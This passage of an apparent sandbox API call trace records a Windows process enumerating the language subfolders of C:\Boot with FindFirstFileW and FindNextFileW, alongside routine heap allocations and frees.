lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.711] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.712] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.712] GetProcessHeap () returned 0x550000 [0060.712] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.712] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0060.712] GetProcessHeap () returned 0x550000 [0060.712] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.714] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.714] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.714] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.714] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.714] GetProcessHeap () returned 0x550000 [0060.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.715] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0060.715] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0060.715] GetProcessHeap () returned 0x550000 [0060.715] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.716] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.716] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.716] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.716] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.717] GetProcessHeap () returned 0x550000 [0060.717] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.717] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0060.717] GetProcessHeap () returned 0x550000 [0060.717] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.719] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.719] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.719] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.720] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.720] GetProcessHeap () returned 0x550000 [0060.720] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.720] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0060.720] GetProcessHeap () returned 0x550000 [0060.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.721] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.721] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.721] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.721] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.722] GetProcessHeap () returned 0x550000 [0060.722] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.722] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0060.722] GetProcessHeap () returned 0x550000 [0060.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.724] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.724] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.724] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.724] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.724] GetProcessHeap () returned 0x550000 [0060.725] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.725] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0060.725] GetProcessHeap () returned 0x550000 [0060.725] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.726] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.726] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.726] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.726] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.726] GetProcessHeap () returned 0x550000 [0060.726] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.726] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0060.727] GetProcessHeap () returned 0x550000 [0060.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.728] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.728] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.729] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.729] FindClose (in: hFindFile=0x572758 | out: hFindFile=0x572758) returned 1 [0060.729] GetProcessHeap () returned 0x550000 [0060.729] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.729] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0060.729] GetProcessHeap () returned 0x550000 [0060.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572758 [0060.730] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.730] FindNextFileW (in: hFindFile=0x572758, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, 